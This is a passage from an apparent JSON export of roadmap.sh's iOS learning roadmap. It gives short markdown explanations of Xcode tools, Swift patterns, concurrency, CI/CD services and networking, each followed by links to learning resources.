    "content": "# Debug Navigator\n\nThe Xcode Debug Navigator is a powerful tool in the Navigator pane that provides detailed information about the running application during debugging sessions. Key features include:\n\n1. Process hierarchy: Displays all running processes and threads.\n2. CPU and memory usage: Shows real-time performance metrics.\n3. Disk activity: Monitors file system operations.\n4. Network activity: Tracks network requests and responses.\n5. Energy impact: Measures the app's energy consumption.\n6. GPU usage: Monitors graphics processing utilization.\n7. iCloud activity: Tracks iCloud-related operations.\n8. Thread states: Visualizes the state of each thread (running, blocked, etc.).\n9. Stacktrace view: Allows navigation through the call stack of selected threads.\n\nThe Debug Navigator helps developers identify performance bottlenecks, memory leaks, and other runtime issues. It's particularly useful for optimizing app performance and troubleshooting complex multi-threaded scenarios.\n\nLearn more from the following resources:\n\n- [@official@Debugging](https://developer.apple.com/documentation/xcode/debugging)\n- [@article@Exploring Xcode's Debugging Tools](https://cocoacasts.com/debugging-applications-with-xcode-exploring-xcode-debugging-tools)"
  },
  {
    "path": "src/data/roadmaps/ios/content/debugging-techniques@OZZ3UnWN2gFflbM_WaJ8H.md",
    "content": "# Debugging Techniques\n\nDebugging techniques in iOS development include using Xcode’s integrated debugger, which allows developers to set breakpoints, inspect variables, and step through code to identify issues. Utilizing the LLDB (Low-Level Debugger) commands in the console helps examine program state and perform complex operations. Instruments, another powerful tool within Xcode, is used for profiling and identifying performance bottlenecks, memory leaks, and energy usage. Logging with NSLog or print statements can also provide insight into runtime behavior. Additionally, employing unit tests and running the application on real devices can help uncover device-specific issues and ensure code reliability."
  },
  {
    "path": "src/data/roadmaps/ios/content/declarative-syntax@QVg4_8EXeQBJbleryy8c1.md",
    "content": "# Declarative Syntax\n\nSwiftUI's declarative syntax allows developers to describe the desired UI state rather than the step-by-step process to achieve it. This approach uses Swift code to define what views should appear and how they should behave, with SwiftUI handling the underlying implementation details. Developers create views by combining and modifying smaller view components, using modifiers to adjust appearance and behavior. State management is integrated into this syntax, with UI automatically updating when state changes.\n\nLearn more from the following resources:\n\n- [@article@Declarative and Imperative Programming using SwiftUI and UIKit](https://medium.com/@rmeji1/declarative-and-imperative-programming-using-swiftui-and-uikit-c91f1f104252)\n- [@article@Apple's SwiftUI Declarative Framework](https://www.linkedin.com/pulse/apples-swiftui-declarative-framework-vivek-singh/)\n- [@video@Imperative vs Declarative Programming](https://www.youtube.com/watch?v=yOBBkIJBEL8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/delegate-pattern@BtPYKd7RedHOLRATDKkpg.md",
    "content": "# Delegate Pattern\n\nThe delegate pattern is a widely used design pattern in iOS development that facilitates communication between objects in a flexible and decoupled manner. It allows one object to delegate certain responsibilities or decisions to another object, typically through a protocol. This pattern is particularly useful for handling events or customizing behavior without creating tight dependencies between classes. In implementation, a delegate protocol defines methods that the delegating object can call, while the delegate object conforms to this protocol and provides specific implementations. This approach promotes loose coupling, enhances reusability, and allows for easy customization of component behavior. The delegate pattern is extensively used in UIKit for handling user interactions, data source management, and event callbacks, making it a fundamental concept in iOS app architecture and design.\n\nLearn more from the following resources:\n\n- [@article@Mastering Swift Delegates](https://www.dhiwise.com/post/mastering-swift-delegates-a-comprehensive-guide)\n- [@article@A Step-by-Step Guide to the Delegate Pattern in Swift](https://medium.com/@afonso.script.sol/a-step-by-step-guide-to-the-delegate-pattern-in-swift-91a28de1baf8)\n- [@video@Swift Delegate Protocol Pattern Tutorial 2023](https://www.youtube.com/watch?v=qiOKO8ta1n4)"
  },
  {
    "path": "src/data/roadmaps/ios/content/dependency-manager@Tv8-WUcKiZMLHuunQwise.md",
    "content": "# Dependency Manager\n\nDependency managers in iOS development are tools that automate the process of adding, updating, and managing third-party libraries and frameworks in Swift and Objective-C projects. These tools simplify the integration of external code, ensuring version compatibility and reducing manual setup errors. The most popular dependency managers for iOS are CocoaPods, Carthage, and Swift Package Manager (SPM). CocoaPods, the oldest and most widely used, integrates directly with Xcode projects and offers a vast library of pods. Carthage provides a more decentralized approach, building frameworks separately from the main project. Swift Package Manager, integrated into Xcode, is Apple's official solution, offering seamless integration with Swift projects. Each manager has its strengths, with developers choosing based on project needs, team preferences, and specific library support. Effective use of dependency managers streamlines development workflows, promotes code reuse, and helps maintain up-to-date, efficient codebases in iOS applications."
  },
  {
    "path": "src/data/roadmaps/ios/content/dynamic-library@Lrb4HZYrZU7SJlbedZp7U.md",
    "content": "# Dynamic Library\n\nDynamic libraries in iOS development are code modules that are loaded into an app's memory at runtime rather than being compiled into the app's executable. They are typically distributed as .dylib files or packaged within frameworks. Unlike static libraries, dynamic libraries remain separate from the app's main binary, allowing for more efficient memory usage and smaller app sizes. Multiple apps can share a single copy of a dynamic library in memory, reducing overall system resource consumption. This approach facilitates easier updates to the library without requiring a full app recompilation. In iOS, dynamic libraries are primarily used within frameworks, as Apple restricts the use of standalone dynamic libraries in App Store submissions. Dynamic frameworks offer benefits like code modularity, easier sharing of code between apps, and potential performance improvements through reduced launch times. However, they introduce a slight runtime overhead for library loading. The use of dynamic libraries in iOS is subject to Apple's guidelines and is generally recommended for larger, frequently updated codebases or when sharing code across multiple apps.\n\nLearn more from the following resources:\n\n- [@official@Overview of Dynamic Libraries](https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html)\n- [@article@Static Library vs Dynamic Library in iOS](https://pratheeshbennet.medium.com/static-library-vs-dynamic-library-in-ios-55478ed53a03)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/dynamic-type@0nei6iwP4Pgi_j4vVi_Qt.md",
    "content": "# Dynamic Type\nThe Dynamic Type feature allows users to choose the size of textual content displayed on the screen. It helps users who need larger text for better readability. It also accommodates those who can read smaller text, allowing more information to appear on the screen. Apps that support Dynamic Type also provide a more consistent reading experience.\n\nVisit the following resources to learn more:\n\n- [@official@Dynamic Type](https://developer.apple.com/documentation/uikit/uifont/scaling_fonts_automatically/)\n- [@official@WWDC24: Get started with Dynamic Type](https://www.youtube.com/watch?v=ZqDZjW9TpFw)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/editors@-4q7MFXaTmpR_39PTeWD8.md",
    "content": "# Editors\n\nXcode editors are the central workspace for code creation and modification. The main types include:\n\n1. Source Editor: For writing and editing code, featuring syntax highlighting, code completion, and inline documentation.\n2. Interface Builder: A visual editor for designing user interfaces, supporting both Storyboards and XIB files.\n3. Assistant Editor: Allows viewing related files side-by-side, useful for simultaneously editing header and implementation files.\n4. Version Editor: For comparing and merging different versions of a file.\n5. Property List Editor: A specialized editor for working with .plist files.\n6. Core Data Model Editor: For designing and managing Core Data models.\n\nThe Editor area supports multiple tabs and split views, enabling developers to work on multiple files simultaneously.\n\nLearn more from the following resources:\n\n- [@official@Creating a source editor extension](https://developer.apple.com/documentation/xcodekit/creating-a-source-editor-extension)\n- [@official@Source Editor](https://developer.apple.com/documentation/xcode/source-editor)\n- [@official@Creating a Core Data Model](https://developer.apple.com/documentation/coredata/creating_a_core_data_model)"
  },
  {
    "path": "src/data/roadmaps/ios/content/error-handling@N5ojp6bqgH074MPKYjCHV.md",
    "content": "# Error Handling\n\nError handling is a crucial programming concept for managing unexpected situations or failures during code execution. It involves anticipating potential issues, detecting when they occur, and responding appropriately. Common techniques include try-catch blocks, throwing and catching exceptions, and using error codes or result objects. Effective error handling improves program robustness, prevents crashes, aids in debugging, and enhances user experience by providing meaningful feedback. It allows developers to gracefully manage issues like invalid inputs, resource unavailability, or network failures, ensuring the program can recover or fail safely when problems arise.\n\nLearn more from the following resources:\n\n- [@article@General Error Handling Rules - Google](https://developers.google.com/tech-writing/error-messages/error-handling)\n- [@article@Error Handling Patterns](https://andreabergia.com/blog/2023/05/error-handling-patterns/)\n- [@video@Error Handling by Timoth Cain](https://www.youtube.com/watch?v=yhJEJKG-aK8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/fastlane@_W3vb0b14FrWB2fH7DHC7.md",
    "content": "# FastLane\n\nFastlane is an open-source platform designed to simplify and automate the deployment process of iOS (and Android) applications. It provides a suite of tools to streamline various tasks such as building, testing, and releasing apps. Key features of Fastlane include:\n\n1. Automated Build and Distribution: Automate the creation and distribution of beta builds through services like TestFlight or Google Play.\n2. Continuous Integration: Integrate with CI/CD systems to ensure continuous testing and deployment.\n3. Code Signing Management: Simplify and automate the management of certificates and provisioning profiles.\n4. App Metadata Management: Automatically update app metadata, screenshots, and other related information on App Store Connect.\n5. Error Reporting: Receive detailed logs and error reports to debug issues quickly.\n\nFastlane uses a configuration file (Fastfile) where developers can define lanes for different workflows, making the deployment process more efficient and less error-prone. This tool is highly valuable for teams looking to maintain consistency and save time in their release processes.\n\nLearn more from the following resources:\n\n- [@official@FastLane Website](https://fastlane.tools)\n- [@opensource@fastlane/fastlane](https://github.com/fastlane/fastlane)\n- [@video@How to Submit an app to the AppStore using Fastlane](https://www.youtube.com/watch?v=zuoQS-ZFXW0&t=197s)"
  },
  {
    "path": "src/data/roadmaps/ios/content/file-system@_bkRbqVXKNCnRvEFCM6mN.md",
    "content": "# File System\n\nThe iOS file system provides a structured way for apps to store and access data directly on the device. Each app operates within its own sandbox, a dedicated directory structure that isolates the app's data for security and privacy. Within this sandbox, apps can create, read, write, and organize files and directories. The system offers several key directories, including Documents for user-generated content, Library for app-specific data, and tmp for temporary files. File management in iOS is primarily handled through the FileManager class, which provides a comprehensive API for file and directory operations. When working with files, developers must consider factors such as data persistence across app updates, iCloud backup settings, and efficient management of storage space. The file system is particularly useful for storing larger datasets, binary files, or data that doesn't fit well into structured storage systems like Core Data or User Defaults.\n\nLearn more from the following resources:\n\n- [@official@File System Basics](https://developer.apple.com/library/archive/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html)\n- [@official@About File System](https://developer.apple.com/documentation/foundation/file_system/about_apple_file_system/)\n- [@official@FileManager](https://developer.apple.com/documentation/foundation/filemanager)"
  },
  {
    "path": "src/data/roadmaps/ios/content/frameworks--library@pZVPsgvCpP3zUgBM4i0CF.md",
    "content": "# Frameworks & Library\n\nFrameworks and libraries in iOS development are collections of reusable code that provide specific functionality, enhancing development efficiency and maintaining code consistency. Frameworks are more structured than libraries, offering a hierarchical directory that bundles code, resources, and documentation. They can include dynamic or static libraries, header files, and additional resources like images or localization files. iOS provides numerous built-in frameworks like UIKit, Foundation, and CoreData, which form the backbone of app development. Third-party frameworks expand functionality further, often distributed via dependency managers. Libraries, typically in the form of static or dynamic libraries, contain compiled code that can be linked into an app. They're generally simpler than frameworks but less self-contained. The choice between using a framework or a library often depends on the complexity of the functionality needed and how it integrates with the existing project structure. Effective use of frameworks and libraries can significantly reduce development time and improve code quality in iOS applications."
  },
  {
    "path": "src/data/roadmaps/ios/content/frameworks@PdzCQXZIivw3zCYPtokJV.md",
    "content": "# Frameworks\n\nFrameworks in iOS development are modular, reusable packages of code and resources that provide specific functionality to applications. They offer a hierarchical structure containing compiled code, header files, resources like images and localization files, and often documentation. iOS provides numerous built-in frameworks such as UIKit for user interface elements, Foundation for fundamental data types and collections, and Core Data for data management. These frameworks form the backbone of iOS app development, offering standardized and optimized implementations of common functionalities. Third-party frameworks extend this ecosystem, providing additional features and tools. Frameworks can be static or dynamic, with dynamic frameworks offering more flexibility in terms of memory usage and updates. The use of frameworks promotes code reuse, maintains consistency across projects, and often improves development efficiency. Effective utilization of both system and third-party frameworks is crucial for building robust, feature-rich iOS applications while minimizing development time and effort."
  },
  {
    "path": "src/data/roadmaps/ios/content/functional-programming@Pj-hqRZUmwx1WhmTbLoFD.md",
    "content": "# Functional Programming\n\nFunctional programming is a style of programming where code is written using pure functions, avoiding changing state and mutable data. It emphasizes the use of mathematical functions to process data, which leads to more predictable and bug-resistant code. This approach helps in writing concise, readable, and testable code.\n\nLearn more from the following resources:\n\n- [@video@Functional programming - A general introduction](https://www.youtube.com/watch?v=8z_bUIl_uPo)\n- [@video@Intro to Swift for Functional Programmers](https://www.youtube.com/watch?v=rYC-TnKoi40)\n- [@feed@Explore top posts about Functional Programming](https://app.daily.dev/tags/functional-programming?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/gamekit@H5F9P5xeQiHhWhS6jEzp5.md",
    "content": "# GameKit\n\nGameKit is a framework provided by Apple for iOS, macOS, and tvOS that facilitates the implementation of social gaming features. It offers a set of tools and APIs for integrating multiplayer functionality, leaderboards, achievements, and player authentication in games. GameKit simplifies the process of adding real-time multiplayer capabilities, allowing developers to create peer-to-peer connections or use Apple's Game Center servers for matchmaking. The framework provides APIs for managing leaderboards, enabling players to compare scores globally or among friends. It also supports a system for creating and tracking in-game achievements, enhancing player engagement. GameKit handles player authentication through Game Center, offering a unified gaming identity across Apple platforms. While primarily designed for games, some of GameKit's features, like peer-to-peer connectivity, can be useful in non-gaming apps as well. By leveraging GameKit, developers can create more interactive and socially engaging gaming experiences on Apple platforms without having to implement complex networking and social features from scratch.\n\nLearn more from the following resources:\n\n- [@official@GameKit](https://developer.apple.com/documentation/gamekit)\n- [@article@How to integrate GameKit](https://medium.com/swlh/how-to-integrate-gamekit-ios-794061428197)"
  },
  {
    "path": "src/data/roadmaps/ios/content/gcd@aROcI1RucAyu-gHn-tVnj.md",
    "content": "# GCD\n\nGrand Central Dispatch (GCD) is a powerful concurrency framework in iOS that simplifies the execution of parallel code. It abstracts the complexities of thread management, allowing developers to focus on the tasks to be performed rather than the underlying threading details. GCD uses a queue-based model where tasks are submitted to dispatch queues and executed by a managed pool of threads. It offers both serial and concurrent queues, enabling fine-grained control over task execution order and parallelism. The framework provides global queues with different quality of service levels, allowing prioritization of tasks based on their importance. GCD's dispatch groups facilitate the coordination of multiple asynchronous operations, while dispatch semaphores help manage access to shared resources. By leveraging GCD, iOS developers can efficiently distribute work across multiple cores, improve app responsiveness, and avoid common pitfalls associated with manual thread management, making it an essential tool for building high-performance, concurrent applications.\n\nLearn more from the following resources:\n\n- [@official@Dispatch@](https://developer.apple.com/documentation/DISPATCH)\n- [@article@Grand Central Dispatch (GCD) in iOS: The Developer's Guide](https://hackernoon.com/grand-central-dispatch-gcd-in-ios-the-developers-guide)\n- [@article@Grand Central Dispatch in iOS](https://medium.com/@knoo/gcd-grand-central-dispatch-in-ios-b2dd665cabd5)"
  },
  {
    "path": "src/data/roadmaps/ios/content/git@QifWR7WSJJTcTK2IfczxG.md",
    "content": "# Git\n\nGit is a distributed version control system **(VCS)** used to track changes in source code during software development. It allows multiple developers to collaborate on a project by managing different versions of the code, enabling them to work on separate branches, merge changes, and keep a complete history of modifications.\n\nLearn more from the following resources:\n\n- [@official@Git Documentation](https://www.git-scm.com/)\n- [@video@Git in 100 Seconds](https://www.youtube.com/watch?v=hwP7WQkmECE)\n- [@feed@Explore top posts about Git](https://app.daily.dev/tags/git?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/github-actions@LltERZaHsI-R_3O_3twpk.md",
    "content": "# GitHub Actions\n\nGitHub Actions is a CI/CD tool integrated directly into GitHub, allowing developers to automate workflows, such as building, testing, and deploying code directly from their repositories. It uses YAML files to define workflows, which can be triggered by various events like pushes, pull requests, or on a schedule. GitHub Actions supports a wide range of actions and integrations, making it highly customizable for different project needs. It provides a marketplace with reusable workflows and actions contributed by the community. With its seamless integration with GitHub, developers can take advantage of features like matrix builds, secrets management, and environment-specific configurations to streamline and enhance their development and deployment processes.\n\nLearn more from the following resources:\n\n- [@official@GitHub Actions Documentation](https://docs.github.com/en/actions)\n- [@video@How to build an iOS app with GitHub Actions](https://www.youtube.com/watch?v=Sd7YhlxZrJw)\n- [@article@How to build an iOS app with GitHub Actions](https://www.andrewhoog.com/post/how-to-build-an-ios-app-with-github-actions-2023/)"
  },
  {
    "path": "src/data/roadmaps/ios/content/github@U_xXGSFF5iibQ4VkzPAWf.md",
    "content": "# GitHub\n\nGitHub is a web-based platform that uses Git for version control and collaboration. It provides a centralized repository for hosting and managing Git repositories, allowing developers to share their code, collaborate on projects, and track issues.\n\nLearn more from the following resources:\n\n- [@official@GitHub Docs](https://docs.github.com/en)\n- [@video@How to Use GitHub](https://www.youtube.com/watch?v=v_1iqtOnUMg)\n- [@article@What is GitHub](https://blog.hubspot.com/website/what-is-github-used-for)\n- [@feed@Explore top posts about GitHub](https://app.daily.dev/tags/github?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/gitlab@VylaBSDAVFzveVfytI1Fz.md",
    "content": "# GitLab\n\nGitLab is a comprehensive DevOps platform that provides source code management, CI/CD, and project management tools in a single application. It enables teams to manage their entire software development lifecycle, from planning and coding to testing, deployment, and monitoring. GitLab's built-in CI/CD capabilities allow developers to automate the build, test, and deployment processes using pipelines defined in YAML files. It integrates with various version control systems and supports Docker, Kubernetes, and other deployment environments. GitLab's features include issue tracking, code review, and merge request workflows, which enhance collaboration and code quality. The platform also offers robust security features, such as vulnerability management and dependency scanning, to ensure the safety and integrity of the codebase. GitLab can be hosted on-premises or used as a cloud-based service, providing flexibility and scalability for different project needs. Its all-in-one nature simplifies the development process, making it a popular choice for teams seeking to streamline their workflows and improve productivity.\n\nLearn more from the following resources:\n\n- [@official@GitLab Website](https://about.gitlab.com/)\n- [@article@Tutorial: iOS CI/CD with GitLab](https://about.gitlab.com/blog/2023/06/07/ios-cicd-with-gitlab/)\n- [@video@Mobile DevOps - Apple App Store Integration Demo](https://www.youtube.com/watch?v=CwzAWVgJeK8)"
  },
  {
    "path": "src/data/roadmaps/ios/content/graphql@9o7d3aN0YFfNNUeVoJrhs.md",
    "content": "# GraphQL\n\nGraphQL is a query language and runtime for APIs, offering an alternative to traditional REST APIs in iOS development. It allows clients to request specific data structures, reducing over-fetching and under-fetching of data common in REST. In iOS apps, GraphQL enables more efficient network usage by allowing precise data requests tailored to UI needs. Developers typically use libraries like Apollo iOS to integrate GraphQL, which handles query execution, caching, and data normalization. GraphQL's strong typing system aligns well with Swift, facilitating type-safe API interactions. It supports real-time data with subscriptions, useful for live updates in iOS apps. While GraphQL offers flexibility and performance benefits, it requires a mindset shift from REST, including different approaches to error handling and caching. Implementing GraphQL in iOS involves crafting queries, managing the schema, and often requires coordination with backend teams to design effective GraphQL APIs that cater to mobile app needs.\n\nLearn more from the following resources:\n\n- [@official@GraphQL Website](https://graphql.org/)\n- [@official@GraphQL Roadmap](https://roadmap.sh/graphql]"
  },
  {
    "path": "src/data/roadmaps/ios/content/groups@42sfiLKrVCcnMMjR7TFn1.md",
    "content": "# Groups\n\nXcode groups are organizational tools used to structure and manage files within a project. They provide a logical hierarchy for arranging source code, resources, and other project files without affecting the actual file system structure. Key aspects of Xcode groups include:\n\n1. Visual organization: Groups appear as folders in the Project Navigator, helping developers categorize and locate files easily.\n2. Flexible structure: Files can be organized into groups based on functionality, feature, or any other logical division.\n3. No impact on build: Grouping doesn't affect how Xcode compiles or packages the application.\n4. Color coding: Groups can be color-coded for quick visual identification.\n5. Nested groups: Support for subgroups allows for more detailed organization.\n6. References vs. folders: Groups can be created as simple references or as folder references that mirror the file system.\n7. Drag-and-drop management: Easy reorganization of files and groups within the Project Navigator.\n\nUsing groups effectively helps maintain clean, organized projects, especially as they grow in size and complexity.\n\nLearn more from the following resources:\n\n- [@official@Managing files and folders in your Xcode project](https://developer.apple.com/documentation/xcode/managing-files-and-folders-in-your-xcode-project)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/healthkit@Jsu5f6QASpuvpky_W5q-O.md",
    "content": "# HealthKit\n\nHealthKit is a powerful framework that allows developers to create health and fitness applications that can interact seamlessly with the iOS `Health app`.\n\nHealthKit provides a central repository for health and fitness data on iPhone and Apple Watch. With the user’s permission, apps communicate with the HealthKit store to access and share this data.\n\nVisit the following resources to learn more:\n\n- [@official@HealthKit](https://developer.apple.com/documentation/healthkit)\n- [@official@Creating a Mobility Health App](https://developer.apple.com/documentation/healthkit/creating_a_mobility_health_app)\n- [@article@How I use Apple's Health app to track my fitness](https://www.pocket-lint.com/apps/news/apple/131130-apple-healthkit-and-health-app-how-they-work-and-the-medical-records-you-need/)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/hig@1I5eFKqFVBxWLAXfpgNXO.md",
    "content": "# HIG\n\nHuman Interface Guidelines (HIG) by Apple are a set of recommendations and best practices for creating user interfaces on Apple devices. These guidelines help developers and designers create applications and interfaces that provide a high-quality experience and consistency with the Apple ecosystem.\n\nLearn more from the following resources:\n\n- [@official@Human Interface Guidelines](https://developer.apple.com/design/human-interface-guidelines)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/history-and-why-swift@z4-1Gc95JKYAn2RPFc7hw.md",
    "content": "# History and Why Swift?\n\n**History**\n\nSwift was introduced by Apple in 2014 as a modern replacement for Objective-C.\n\nIt was developed to address the limitations and complexities of Objective-C, providing a more powerful and user-friendly programming language.\n\n**Why Swift?**\n\nSwift offers improved performance, safety, and readability. It reduces common programming errors with features like optionals and type inference.\n\nSwift’s concise syntax and modern language constructs enhance developer productivity, making it easier to write and maintain code. Its open-source nature also allows a wider community to contribute and improve the language.\n\nVisit the following resources to learn more:\n- [@official@About Swift](https://www.swift.org/about/)\n- [@video@A Brief History](https://www.youtube.com/watch?v=4P_ZsOqELBo)\n- [@feed@Explore top posts about Swift](https://app.daily.dev/tags/swift?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/http--https@GjY5qCU1rjB0D58qHQtAR.md",
    "content": "# HTTP / HTTPs\n\nHTTP (Hypertext Transfer Protocol) and HTTPS (HTTP Secure) are fundamental protocols for data communication on the internet, extensively used in iOS app networking. HTTP facilitates request-response interactions between clients and servers, defining how messages are formatted and transmitted. HTTPS extends HTTP by encrypting the data exchange using SSL/TLS protocols, ensuring secure communication. In iOS development, URLSession handles both HTTP and HTTPS requests seamlessly, automatically managing the encryption for HTTPS connections. Developers typically use HTTPS for all network communications to protect user data and maintain privacy. iOS enforces App Transport Security (ATS) by default, requiring secure connections for network requests. When working with web APIs, iOS apps use these protocols to fetch data, submit forms, upload files, and perform various other network operations. Understanding HTTP methods (GET, POST, PUT, DELETE, etc.), status codes, and headers is crucial for effective API integration and troubleshooting in iOS app development.\n\nLearn more from the following resources:\n\n- [@official@URLSession](https://developer.apple.com/documentation/foundation/urlsession)\n- [@article@Mastering URLSession in Swift](https://elamir.medium.com/mastering-urlsession-in-swift-a-comprehensive-guide-d3a3aa740f6e)"
  },
  {
    "path": "src/data/roadmaps/ios/content/ibactions@FspN4yiBF9aEN7_SlXUe1.md",
    "content": "# IBActions\n\nXcode IBActions are methods that connect user interface elements to code, allowing the app to respond to user interactions. Key features include:\n\n1. Definition: Declared as methods in view controller classes.\n2. Connection: Made by ctrl-dragging from UI elements to code in Interface Builder.\n3. Purpose: Handle user interactions like button taps, slider changes, etc.\n4. Method signature: Can include a sender parameter of the interacting UI element's type.\n5. Multiple connections: One IBAction can be connected to multiple UI elements.\n6. Event types: Can be set to respond to specific events (e.g., touch up inside, value changed).\n7. Naming convention: Often prefixed with 'ib' for clarity.\n8. Refactoring support: Xcode updates connections when renaming.\n\nIBActions provide a clean way to separate UI logic from business logic, enhancing code organization. They allow developers to centralize the handling of user interactions, making it easier to manage and modify app behavior in response to user input.\n\nLearn more from the following resources:\n\n- [@video@IBOutlet & IBAction](https://www.youtube.com/watch?v=ztPpThdBHT0)\n- [@article@From outlets to actions: creating an IBAction](https://www.hackingwithswift.com/read/2/5/from-outlets-to-actions-creating-an-ibaction)"
  },
  {
    "path": "src/data/roadmaps/ios/content/iboutlets@tuUuLInq0p-nhehe2AqPg.md",
    "content": "# IBOutlets\n\nAn outlet is a property of an object that references another object. The reference is archived through Interface Builder. The connections between the containing object and its outlets are reestablished every time the containing object is unarchived from its nib file. The containing object holds an outlet declared as a property with the type qualifier of IBOutlet and a weak option.\n\nLearn more from the following resources:\n\n- [@official@Outlets](https://developer.apple.com/library/archive/documentation/General/Conceptual/CocoaEncyclopedia/Outlets/Outlets.html)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/implementing-delegates@z3AUN9u7EEqeKOqvLxf7D.md",
    "content": "# Implementing Delegates\n\nImplementing delegates in Swift involves creating a protocol that defines the methods the delegate should implement, and then using this protocol to establish a communication channel between objects. The process typically begins with defining a protocol that outlines the required and optional methods. Next, a weak delegate property is declared in the delegating class to avoid retain cycles. The delegating class then calls the delegate methods at appropriate times, often in response to specific events or state changes. On the delegate side, the class conforms to the protocol and implements the required methods, providing custom behavior as needed. This implementation allows for flexible and reusable code, as the delegating object doesn't need to know the specific type of its delegate, only that it conforms to the protocol.\n\nLearn more from the following resources:\n\n- [@article@Delegates in Swift](https://medium.com/@muhammad.cse11/delegates-in-swift-ios-application-6dfb37897f9b)\n- [@article@What is a delegate in Swift](https://www.hackingwithswift.com/example-code/language/what-is-a-delegate-in-ios)\n- [@video@Delegate protocol - Swift example](https://www.youtube.com/watch?v=Z9eSUE-lzig)"
  },
  {
    "path": "src/data/roadmaps/ios/content/installing@R8LdFpfyS0MFYJuMLk8RG.md",
    "content": "# Installing\n\nThe Xcode Integrated Development Environment (IDE) can only be installed on MacOS given it's nature as an iOS IDE. It can be installed simply like any application on the Mac, via the iStore using an Apple ID.\n\nIf you wish to do any development using the Command Line Interface (CLI) you will need to install Xcode Command Line Tools via the `Xcode-select --install`. Popular CLI tools such as `clang`, `gcc` & `git` will require the installation of Xcode Command Line Tools.\n\nLearn more from the following resources:\n\n- [@video@How to Install Xcode on Mac](https://www.youtube.com/watch?v=F6QZ2atZrDw)\n- [@article@Xcode Command Line Tools Installation](https://mac.install.guide/commandlinetools/4)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/interface-builder@iMzYd8KUFnk6zqr4KecgX.md",
    "content": "# Interface Builder\n\nXcode Interface Builder is a visual design tool for creating user interfaces in iOS, macOS, watchOS, and tvOS applications. Key features include:\n\n1. Drag-and-drop UI design: Easily add and arrange UI elements on the canvas.\n2. Storyboards: Create and manage multiple screens and their connections.\n3. Auto Layout: Set up adaptive layouts using constraints.\n4. Size classes: Design interfaces for different device sizes and orientations.\n5. Custom controls: Integrate custom UI components alongside system-provided ones.\n6. IBOutlets and IBActions: Connect UI elements to code.\n7. Preview: Visualize designs on different devices and orientations.\n8. Accessibility inspector: Ensure UI elements are accessible.\n9. Localization: Manage multiple language versions of the interface.\n\nInterface Builder integrates seamlessly with Xcode's coding environment, allowing developers to switch between visual design and code implementation. It supports both .xib files for individual view controllers and .storyboard files for more complex, multi-screen interfaces.\n\nLearn more from the following resources:\n\n- [@course@iOS Storyboards: Getting Started](https://www.kodeco.com/5055364-ios-storyboards-getting-started)\n- [@article@A bit about Interface Builder](https://medium.com/swlh/a-bit-about-interface-builder-ceffaf484580)\n- [@video@Swift Interface Builder Xcode](https://www.youtube.com/watch?v=Wf1MfPdBdNE)"
  },
  {
    "path": "src/data/roadmaps/ios/content/interface-overview@FwwqAchMC6qdnXbqg45he.md",
    "content": "# Interface overview\n\nXcode's interface is designed for efficient iOS, macOS, watchOS, and tvOS development. The main window is divided into several key areas:\n\n1. Toolbar: Contains run buttons, scheme selector, and status display.\n2. Navigator Area (left): Includes file navigator, search, issue navigator, and test navigator.\n3. Editor Area (center): The main coding space, supporting multiple editors and Interface Builder.\n4. Utility Area (right): Shows file inspectors, Quick Help, and Interface Builder libraries.\n5. Debug Area (bottom): Displays console output and variables during debugging.\n6. Assistant Editor: Allows viewing related files side-by-side.\n7. Version Editor: For managing and comparing different versions of code.\n\nThe interface is highly customizable, allowing developers to adjust layouts and show/hide areas as needed for their workflow. This integrated environment provides tools for coding, UI design, testing, and debugging all in one application.\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/interoperability-with-swift@IAPzuN51xvrZJ5TFB23Q9.md",
    "content": "# Interoperability with Swift\n\nSwift is designed to work seamlessly with Objective-C, allowing developers to integrate and use both languages within the same project. This interoperability enables:\n\n**Gradual Migration:** Developers can incrementally migrate their codebase from Objective-C to Swift without needing a complete rewrite.\n\n**Mixed-Language Projects:** Swift and Objective-C files can coexist, and developers can call Objective-C code from Swift and vice versa.\n\n**Access to Existing Libraries:** Swift code can leverage existing Objective-C libraries and frameworks, ensuring continued use of valuable resources and tools.\n\n**Bridging Header:** A bridging header file allows Swift to interface with Objective-C code, facilitating communication between the two languages.\n\n**Compatibility:** Swift supports dynamic libraries, ensuring compatibility with existing Objective-C runtime and APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Swift and Objective-C Interoperability](https://developer.apple.com/videos/play/wwdc2015/401/)\n- [@video@Bridging Swift And Objective C](https://www.youtube.com/watch?v=Wp_-8tE85hE)\n- [@feed@Explore top posts about Swift](https://app.daily.dev/tags/swift?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/ios-architecture@IduGSdUa2Fi7VFMLKgmsS.md",
    "content": "# iOS Architecture\n\niOS architecture refers to the design principles and patterns used to build iOS applications. It focuses on how to structure code, manage data, and ensure a smooth user experience. These architectural patterns help developers create maintainable, scalable, and testable applications while following best practices specific to iOS development. Use cases of these architectures may vary according to the requirements of the application. For example, MVC is used for simple apps, while MVVM is considered when the app is large and complex.\n\nLearn more from the following resources:\n\n- [@article@Model-View-Controller Pattern in swift (MVC) for Beginners](https://ahmedaminhassanismail.medium.com/model-view-controller-pattern-in-swift-mvc-for-beginners-35db8d479832)\n- [@video@MVC Design Pattern Explained with Example](https://youtu.be/sbYaWJEAYIY?t=2)\n- [@article@MVVM in iOS Swift](https://medium.com/@zebayasmeen76/mvvm-in-ios-swift-6afb150458fd)\n- [@video@MVVM Design Pattern Explained with Example](https://www.youtube.com/watch?v=sLHVxnRS75w)\n\n"
  },
  {
    "path": "src/data/roadmaps/ios/content/jenkins@TrblGyy81Oep2CBxoZkaf.md",
